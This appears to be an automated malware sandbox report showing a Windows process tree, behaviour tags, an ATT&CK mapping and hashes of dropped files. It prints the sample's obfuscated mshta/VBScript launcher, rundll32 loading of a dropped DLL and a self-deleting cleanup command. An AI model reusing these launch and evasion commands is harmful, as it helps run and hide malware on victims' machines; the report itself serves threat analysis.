C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4440 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7844 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1652 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8076 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1120 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6240 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3716 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2516 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6212 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6924 /prefetch:18⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02d4ad56f882.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02d4ad56f882.exeTue02d4ad56f882.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1688 -s 2966⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue021e81a19d3b28.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue021e81a19d3b28.exeTue021e81a19d3b28.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02e87f4cbd37d48.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e87f4cbd37d48.exeTue02e87f4cbd37d48.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 18446⤵
- Program crash
- Enumerates system info in registry
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv 92GwURs0+UOTl7UTHcO7Cw.0.21⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5048 -ip 50481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1188 -ip 11881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1688 -ip 16881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1704 -ip 17041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 608 -p 5796 -ip 57961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5196 -ip 51961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6140 -ip 61401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 5928 -ip 59281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5912 -ip 59121⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 684 -p 4868 -ip 48681⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N8N3G.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-N8N3G.tmp\setup_2.tmp" /SL5="$302E8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5000 -ip 50001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5940 -ip 59401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 1168 -ip 11681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 5856 -ip 58561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 3384 -ip 33841⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1472 -ip 14721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5472 -ip 54721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1340 -ip 13401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5992 -ip 59921⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 696 -p 5380 -ip 53801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4732 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF """" =="""" for %q In (""C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "" =="" for %q In ("C:\Users\Admin\Documents\TilyLyAJC9VJEK7DZQ6c54y9.exe" ) do taskkill -iM "%~nxq" /f2⤵
-
C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXeroBCqJOQYC.eXe -P0_6X2fnCLFU6G3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF ""-P0_6X2fnCLFU6G"" =="""" for %q In (""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "-P0_6X2fnCLFU6G" =="" for %q In ("C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" ) do taskkill -iM "%~nxq" /f5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\LcGE3.T_v,mPHYMXZs4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "TilyLyAJC9VJEK7DZQ6c54y9.exe" /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4732 -ip 47321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3760 -ip 37601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 700 -p 3940 -ip 39401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2924 -ip 29241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3796 -ip 37961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6708 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6708 -ip 67081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 3160 -ip 31601⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7888E5AF1210E42D3E9BDA5A3CBF9071 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 8F368CF64E9841084086BA7C71E2B5B52⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1F2564CFDCF3A8EED34A3A62EDD24BC3 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 920 -ip 9201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 4563⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 4508 -ip 45081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 5904 -ip 59041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6556 -ip 65561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3208 -s 4523⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3208 -ip 32081⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\9201.exeC:\Users\Admin\AppData\Local\Temp\9201.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\9201.exeC:\Users\Admin\AppData\Local\Temp\9201.exe2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\9ACC.exeC:\Users\Admin\AppData\Local\Temp\9ACC.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\9ACC.exeC:\Users\Admin\AppData\Local\Temp\9ACC.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\A32A.exeC:\Users\Admin\AppData\Local\Temp\A32A.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5896 -s 2922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\A79F.exeC:\Users\Admin\AppData\Local\Temp\A79F.exe1⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6512 -s 2962⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5896 -ip 58962⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6512 -ip 65122⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2548 -ip 25482⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5000 -ip 50002⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4828 -ip 48282⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\B0F7.exeC:\Users\Admin\AppData\Local\Temp\B0F7.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2548 -s 3122⤵
- Program crash
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\C403.exeC:\Users\Admin\AppData\Local\Temp\C403.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\fKrLHjnTqOlJv & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C403.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 43⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\CF2F.exeC:\Users\Admin\AppData\Local\Temp\CF2F.exe1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\E038.exeC:\Users\Admin\AppData\Local\Temp\E038.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\F3E0.exeC:\Users\Admin\AppData\Local\Temp\F3E0.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\284F.exeC:\Users\Admin\AppData\Local\Temp\284F.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\3223.exeC:\Users\Admin\AppData\Local\Temp\3223.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 3122⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\3B9A.exeC:\Users\Admin\AppData\Local\Temp\3B9A.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 2922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Modify Registry
3Disabling Security Tools
1Virtualization/Sandbox Evasion
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\3013295.exeMD5
d6e6201562c23e537ecddbdb18e61e57
SHA1acbee2166d4261117993837603bc27a75b63654a
SHA256bf0c541c250effc6f396410a2a1c2c90e377c8c35f4af8a08337b2a4d15e7f2d
SHA512846993380aa28f2ef0931dbb2bf46c4e50c54b2f9c1a4e921906a6a17a0c1c88331c5eea01d4bac321c5d290332380c0ebeb85ebb999881daddd2e92034d531d
-
C:\ProgramData\3013295.exeMD5
d6e6201562c23e537ecddbdb18e61e57
SHA1acbee2166d4261117993837603bc27a75b63654a
SHA256bf0c541c250effc6f396410a2a1c2c90e377c8c35f4af8a08337b2a4d15e7f2d
SHA512846993380aa28f2ef0931dbb2bf46c4e50c54b2f9c1a4e921906a6a17a0c1c88331c5eea01d4bac321c5d290332380c0ebeb85ebb999881daddd2e92034d531d
-
C:\ProgramData\723566.exeMD5
705c8bfb5ff0422d428a7c4c595a3ba1
SHA1282ce397eef0b7716c718da7dd26ee82ecbe7cba
SHA256e00e7dbfc4d43e386f68afa3668a3b29f91e48fe05518223baa365805a409713
SHA512b12f4f292ca2eff85627a49d80b27898c97b804d180c5dee85c9d67a2edaa37d8beeb73096b93cda0f1a6403394dd509a9df729f3c5d09da055af582aa52d516
-
C:\ProgramData\723566.exeMD5
705c8bfb5ff0422d428a7c4c595a3ba1
SHA1282ce397eef0b7716c718da7dd26ee82ecbe7cba
SHA256e00e7dbfc4d43e386f68afa3668a3b29f91e48fe05518223baa365805a409713
SHA512b12f4f292ca2eff85627a49d80b27898c97b804d180c5dee85c9d67a2edaa37d8beeb73096b93cda0f1a6403394dd509a9df729f3c5d09da055af582aa52d516
-
C:\ProgramData\8322849.exeMD5
4d6bc6726e778247ce005b389f4de26c
SHA1c2efd9af21cb7d171aef3bccfea85c216f5544c6
SHA256b470730fe32b85fb7db9c3f41697ca09f33183d764ca64f34afc12233a71e600
SHA512948057d0e301a85d392a0f11ea71dbd4cc7d0d6a0793bea4cbb40088c6c1d1e4ad7e705851e0facdd920cf5d1dd40a0158450dbb6ab8a10c8b4d44901c002a50
-
C:\ProgramData\8322849.exeMD5
4d6bc6726e778247ce005b389f4de26c
SHA1c2efd9af21cb7d171aef3bccfea85c216f5544c6
SHA256b470730fe32b85fb7db9c3f41697ca09f33183d764ca64f34afc12233a71e600
SHA512948057d0e301a85d392a0f11ea71dbd4cc7d0d6a0793bea4cbb40088c6c1d1e4ad7e705851e0facdd920cf5d1dd40a0158450dbb6ab8a10c8b4d44901c002a50
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
235da75d93f08a19946296feba6eec86
SHA1f5b9a3c2f19e0c3cd1cfc70a4db2c450ce994d41
SHA256707c87c2d155f3678cb4a998fef500e81314587ffc3ae332ad681e0541bb368f
SHA51204aae463aa052dd562e560c56d8dd485bb5bbcdf73a8f983c870a4d074cd93f85eaa6bf52a2bc7bd53da7486c6c67c3f6ac405d5163e996d23af156da52a137d
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
235da75d93f08a19946296feba6eec86
SHA1f5b9a3c2f19e0c3cd1cfc70a4db2c450ce994d41
SHA256707c87c2d155f3678cb4a998fef500e81314587ffc3ae332ad681e0541bb368f
SHA51204aae463aa052dd562e560c56d8dd485bb5bbcdf73a8f983c870a4d074cd93f85eaa6bf52a2bc7bd53da7486c6c67c3f6ac405d5163e996d23af156da52a137d
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue0214a924af8.exeMD5
a1c7ed2563212e0aba70af8a654962fd
SHA1987e944110921327adaba51d557dbf20dee886d5
SHA256a15773680b31415eeebf20246f283857bda7e7dda16f4674c2cbeba2106e3592
SHA51260d827b6d36d6f3a1b4af445b25f26812043d2be8934c338d29b8a1bbe0b50d8a7c06f54ea14afa1d9dbbc6340c649dc51b0ae12d77329e1fb6fdf99e896a462
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue0214a924af8.exeMD5
a1c7ed2563212e0aba70af8a654962fd
SHA1987e944110921327adaba51d557dbf20dee886d5
SHA256a15773680b31415eeebf20246f283857bda7e7dda16f4674c2cbeba2106e3592
SHA51260d827b6d36d6f3a1b4af445b25f26812043d2be8934c338d29b8a1bbe0b50d8a7c06f54ea14afa1d9dbbc6340c649dc51b0ae12d77329e1fb6fdf99e896a462
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue021d1ab6df10aacd4.exeMD5
20db8d663190e8c34f8b42d54a160c2c
SHA1eb45301ec9c5283634679482e9b5be7a83187bb5
SHA25676dfed12190f13c429fbd4927ca86aba574101f0c34a7bb078e2f36c3f92c025
SHA512002751609ed68c2d097c7e4fa3930d63637568795add3b5644bacbcc596f6f2b27c4504cac73e21020472414f4fe7b703f031c596ecf776a144c866df7112499
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue021d1ab6df10aacd4.exeMD5
20db8d663190e8c34f8b42d54a160c2c
SHA1eb45301ec9c5283634679482e9b5be7a83187bb5
SHA25676dfed12190f13c429fbd4927ca86aba574101f0c34a7bb078e2f36c3f92c025
SHA512002751609ed68c2d097c7e4fa3930d63637568795add3b5644bacbcc596f6f2b27c4504cac73e21020472414f4fe7b703f031c596ecf776a144c866df7112499
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue021e81a19d3b28.exeMD5
